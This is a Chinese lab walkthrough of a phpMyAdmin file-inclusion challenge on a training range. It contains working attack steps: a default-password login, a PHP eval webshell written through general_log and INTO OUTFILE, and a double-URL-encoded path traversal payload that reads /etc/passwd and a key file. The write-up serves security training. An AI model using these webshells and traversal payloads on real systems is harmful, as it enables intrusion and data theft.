07#墨者靶场-phpMyAdmin后台文件包含分析溯源

                                               墨者学习

                                              By/shy014

地址:https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe

1.在墨者学院找到该靶场并点击启动靶场

2.点击访问,进入靶场环境,并尝试默认口令(root,root),登陆成功

3.查看MySQL是否限制导入导出,是否能使用into outfile直接写入一句话木马

show global variables like '%secure%';

当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误

要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,

在[mysqld]内加入secure_file_priv ="" 即可

4.查看MySQL日志状态

show variables like '%general%';

5.利用日志文件写入一句话木马

开启general_log :set global general_log='on';


设置日志写入文件:

SET global general_log_file='/var/www/html/shy.php';

执行命令,自动写入日志:SELECT '<?php @eval($_POST[shy]);?>';

6.访问日志文件,由于linux权限限制,禁止访问,不能执行,个体设立了失败。

7.尝试直接通过into outfile写入一句话木马,访问执行成功

select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shy.php';

8.使用菜刀连接,下载存在文件包含的PHP文件index.php进行分析

9.对index.php进行分析,发现第55到63行存在问题

if (! empty($_REQUEST['target'])

判断非空

&& is_string($_REQUEST['target'])

判断是否是字符串

&& ! preg_match('/^index/', $_REQUEST['target'])

判断不能以index开头

&& ! in_array($_REQUEST['target'], $target_blacklist)

判断是否在$target_blacklist数组中

&& Core::checkPageValidity($_REQUEST['target'])

判断是否满足checkPageValidity()函数

) {

include $_REQUEST['target'];

包含通过判断的target

    exit;

}

10.找到 $target_blacklist在第50行,只要 target 参数不是 import.php 或 export.php 就可以

11.从菜刀中找到core.php下载并进行分析

 

12.找到checkPageValidity函数,在第443行, 发现checkPageValidity() 函数中有三个地方返回true,这三个地方都是判断变量$_page的值是否在白名单数组$whitelist

     白名单数组$whitelist的值如下:

checkPageValidity() 函数及分析如下:

public static function checkPageValidity(&$page, array $whitelist = [])

    {

        if (empty($whitelist)) {

            $whitelist = self::$goto_whitelist;

        }

        if (! isset($page) || !is_string($page)) {

            return false;

        }

 

        if (in_array($page, $whitelist)) {

            return true;

这里是将未经过任何处理的参数$page的值判断是否在$whitelist白名单中

        }

        $_page = mb_substr(

            $page,

            0,

            mb_strpos($page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

mb_substr() 函数返回字符串的一部分

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

所以这里就可以通过?/../../../../../../etc/passwd绕过白名单限制

        $_page = urldecode($page);

        $_page = mb_substr(

            $_page,

            0,

            mb_strpos($_page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

这里多了一个urldecode()函数,可以利用双重url编码绕过

可以把?双重编码为%253f进行绕过白名单限制

%253/../../../../../../etc/passwd

 

        return false;

}

根据以上分析可以构建payload进行包含

Payload: db_sql.php%253f%20/../../../../../../要包含的文件

db_sql.php%253f%20是被当作目录进行上跳

尝试利用payload包含passwd文件,读取成功,

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../etc/passwd

14.包含根目录下key.txt文件,获取key值

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../key.txt

15.提交key值,完成靶机

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值